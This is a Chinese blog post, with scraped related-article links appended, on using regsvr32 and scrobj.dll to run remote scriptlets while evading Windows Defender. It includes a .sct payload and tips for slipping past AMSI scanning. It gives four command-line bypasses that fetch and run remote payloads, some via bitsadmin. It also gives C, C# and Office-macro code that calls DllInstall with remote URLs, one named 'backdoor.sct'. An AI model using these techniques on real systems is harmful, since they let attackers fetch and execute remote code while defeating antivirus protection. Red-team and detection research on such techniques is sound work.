原文链接:blog

在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。

命令语法如下:

  1. regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

原理则是利用com组件的scriptlet注册方式,关于scriptlet的介绍可以参考MSDN,差不多就是用脚本形式实现com组件和asp互操作,但其实除了给asp调用之外还可以给其他.net组件调用。

命令中的参数介绍:

  • /s: 静默模式,不弹框
  • /n: 不调用DllRegisterServer
  • /u: 卸载com组件
  • /i: 传给DllInstall的参数内容
  • scrobj.dll: com服务器,全名 Windows Script Component,DllInstall方法在这个组件中实现

根据msdn关于DllInstall的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允许注册过程中dll进行一些自定义的安装过程,该过程在DllInstall中实现。

该函数原型如下:

  1. HRESULT DllInstall(
  2. BOOL bInstall,
  3. PCWSTR pszCmdLine
  4. );

regsvr32中的/i参数指定的内容,会被直接传递到pszCmdLine,/u参数会将false传递到bInstall,所以对sct文件的调用肯定在scrobj.dll中的install过程。

这么看,regsvr32只不过是负责调用dll的一个工具,可能还会有写入注册表的功能。

理解到这里之后,我们在defender开启的情况下尝试一下这个方法,发现被拦截:

报毒:Backdoor:JS/Relvelshe.A,看受影响项目是脚本文件,可能是脚本内容没有过amsi检测。

文件内容:

  1. <?XML version="1.0"?>
  2. <component id="TESTING">
  3. <registration
  4. progid="TESTING"
  5. classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  6. <script language="JScript">
  7. <![CDATA[
  8. var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
  9. ]]>
  10. </script>
  11. </registration>
  12. </component>

经测试,将new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出来赋值给变量就没问题了(脚本内容太复杂不好改,也可以试试直接hook掉amsiscanbuffer)。

在sct不被杀的情况下,再次执行regsvr32,仍然被拦截:Trojan:Win32/Powemet.A!attk

从报毒中的cmdline可知检测的是命令行内容,所以在网上可找到的绕过姿势有四种(参考wh0ale):

  1. 改变scrobj.dll的名称
  1. copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
  2. Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  1. 为scrobj.dll创建符号链接
  1. Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
  2. Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  1. 利用NTFS ADS功能绕过
  1. type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  2. Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  1. 先将sct文件放到本地,然后执行
  1. bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
  2. Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

经过上面分析,其实可以看出来其实可以不用regsvr32.exe,使用他的目的是因为他是windows自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用scrobj.dll的DllInstall方法实现代码执行。

对于调用dll导出的函数,我首先想到的使用c实现:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #include <tchar.h>
  5. int main()
  6. {
  7. TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
  8. HMODULE hDllScr = LoadLibrary(dllpath);
  9. if (hDllScr == NULL)
  10. {
  11. puts("Load scrobj.dll fail!");
  12. }
  13. puts("Load scrobj.dll success!");
  14. printf("Address: %p\n", hDllScr);
  15. void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
  16. if (DllInstallProcAddr == NULL)
  17. {
  18. puts("Can not found DllInstall in scrobj.dll!");
  19. }
  20. printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
  21. //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
  22. ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
  23. return 0;
  24. }

很不幸,在执行的时候一直报错:

看这个原因和js有关系,但是无法具体确定哪里的原因,所以没想很多直接调试,对比regsvr32和他调用scrobj.dll的区别之处,最终发现到scrobj.dll的一处判断的地方没通过导致报错,貌似不是regsvr32做了什么暗箱操作。

调了十多遍,也不知道那处判断是做什么的,休息了几天,重新回到这个问题:如何手动调用scrobj.dll对DllInstall传参?

查了半天资料,终于看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中讲了两点内容:

  1. 如何不用regsvr32运行远程com脚本
  2. 在office宏中调用已经存在磁盘上的dll

第一点正是我所需要的,看了之后发现这位大佬是在office宏中实现的,宏代码如下:

  1. Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
  2. Sub AutoOpen()
  3. DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
  4. End Sub

看代码,和上面我用c写的代码差不多,但是本地在office中用宏测试了一下真的可行。

经过一番思考,发现VB也是基于.net平台的,是不是这个原因,我用c写的肯定没有.net环境,改用c#试一下:

  1. using System;
  2. using System.Reflection;
  3. using System.Runtime.InteropServices;
  4. using System.ComponentModel;
  5. namespace scrobj_call_csharp
  6. {
  7. static class NativeMethod
  8. {
  9. [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
  10. public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
  11. [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  12. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  13. }
  14. class Program
  15. {
  16. [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
  17. private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
  18. static void Main(string[] args)
  19. {
  20. const string dllPath = "scrxxobj.dll";
  21. IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
  22. if(hDllScr == IntPtr.Zero)
  23. {
  24. var lasterror = Marshal.GetLastWin32Error();
  25. var innerEx = new Win32Exception(lasterror);
  26. innerEx.Data.Add("LastWin32Error", lasterror);
  27. throw new Exception("Can't load Dll " + dllPath, innerEx);
  28. }
  29. IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
  30. DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
  31. fDllInstall(false, "http://127.0.0.1\\ttt.txt");
  32. }
  33. }
  34. }

稍微麻烦一点,但是真的调用成功了。如此看来,使用C#或者其他基于.net的代码直接调用scrobj.dll绕过Defender也是可行的。


经过查资料发现c也可以使用.net环境,在vs中新建一个clr空项目,将cpp文件添加上去编译即可!

regsvr32 bypass windows defender 新思路的更多相关文章

  1. Bypass Windows Defender Dump Lsass(手法拙劣)

    0x00.前言 Windows Defender是一款内置在Windows操作系统的杀毒软件程序,本文旨在记录实战环境中,服务器存在Windows Defender情况下转储凭证的渗透手法,技术简单粗 ...

  2. Windows Defender无法开启问题

    针对Win8及以上系统: 按Win+R键,输入services.msc,下滑找到以W开头的Windows Defender相关项,右键在属性中设为自动并开启. (若1无法解决)按Win+R键,输入re ...

  3. 关闭Win10自带的 Windows Defender

    1.按下Win+R,输入gpedit.msc 2.进入组策略,选择计算机配置>管理模板>Windows 组件>Windows Defender 3.双击"关闭 Window ...

  4. Win10如何隐藏Windows Defender任务栏图标

    导读 Windows 10 至发布以来就内置集成了 Windows Defender 安全防护应用,但有许多用户平常压根儿就没注意到它的存在.微软为了使安全防护功能更加明显,Windows 10 周年 ...

  5. 开源软件free download manager在windows defender中报毒

    从官网上下载的fdm lite 3.9.6,从图片中可以看出安装包有数字签名,windows defender报毒,在线杀毒也检出木马,官网的程序更新到了3.9.6版本,在sourceforge上的源 ...

  6. 如何彻底关闭windows defender

    我是一个喜欢裸奔的人,我不喜欢使用那些安全软件,什么360啊,什么毒霸啊让我深恶痛绝,就连windows自带的杀软我都不能忍啊,因为我平时喜欢找一下软件,很多的补丁和注册机,这些安全软件都会误报,所以 ...

  7. Windows Defender Service 是选择Windows 10系统的最大障碍!

    今天从早上开始,Windows Defender Service服务从CPU消耗资源30%一直上升到60%并且无法下降. 我一直使用的是Windows 10 Enterprise 2016长期服务支持 ...

  8. 微软将把Windows Defender防火墙传递给 Linux 子系统

    前不久,微软以 Azure Sphere OS 的形式发布了自己的 Linux 版本.而在最新的开发中,该公司又决定将其 Windows Defender 防火墙的传递给 Linux 子系统(WSL) ...

  9. win10自带的防火墙Windows Defender

    Windows Defender防火墙(别名:windows守卫者)是微软公司自主研发的一款基于windows自身保护的一款系统. Windows Defender可以对系统进行实时监控,对于Wind ...

随机推荐

  1. html打印后不刷新当前页

    这种方法可以在打印的页面中添加样式,新页面跳转打印 doPrint(ids){ var titleHTML=document.getElementById(ids).innerHTML; var Op ...

  2. Activiti7 获取资源信息及其查询流程历史信息

    获取资源信息 /** * 获取资源信息 * * @throws IOException */ @Test public void getProcessResources() throws IOExce ...

  3. 20190923-10Linux进程线程类 000 018

    进程是正在执行的一个程序或命令,每一个进程都是一个运行的实体,都有自己的地址空间,并占用一定的系统资源. ps 查看当前系统进程状态 ps:process status 进程状态 1.基本语法 ps ...

  4. Linux:系统用户和用户组

    一.用户介绍 用户分为三类,超级用户.虚拟用户.普通用户:系统通过用户的uid识别用户:超级用户uid=0,虚拟用户uid=1-599,普通用户的uid=500-65535 用户和组相关配置文件/et ...

  5. AD16

    第三集   制作光敏小夜灯的原理图 1.点击G切换栅格的精度 2.元器件放置好之后要先布局在布线 3.布线完成后要检查电路的合理性.对应查一下电阻的个数,位置是不是符合.在原理上大概的估计是否可以. ...

  6. charles 入门配置(win10+vivoX20)(Charles一)

    charles的几个功能可以参考:https://www.cnblogs.com/mihoutao/p/10601171.html 首先是charles的下载 下载地址:https://www.cha ...

  7. maoge数

    maoge数 题目描述 maoge定义一个数x是maoge数的条件,当且仅当x的各数位之和等于 x / 2向下取整,现在maoge想让你求 n 的约数中有多少个maoge数 输入格式 输入一个数 n ...

  8. js实现隔行变色

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  9. Ansible常用模块介绍及使用(2)

    Ansible模块 在上一篇博客<Ansible基础认识及安装使用详解(一)–技术流ken>中以及简单的介绍了一下ansible的模块.ansible是基于模块工作的,所以我们必须掌握几个 ...

  10. php第二天-函数的用法及封装,变量范围,匿名函数,递归函数

    1.函数 <?php function test($info){ return $info; } echo test("hello") ?> 输出hello 2.函数实 ...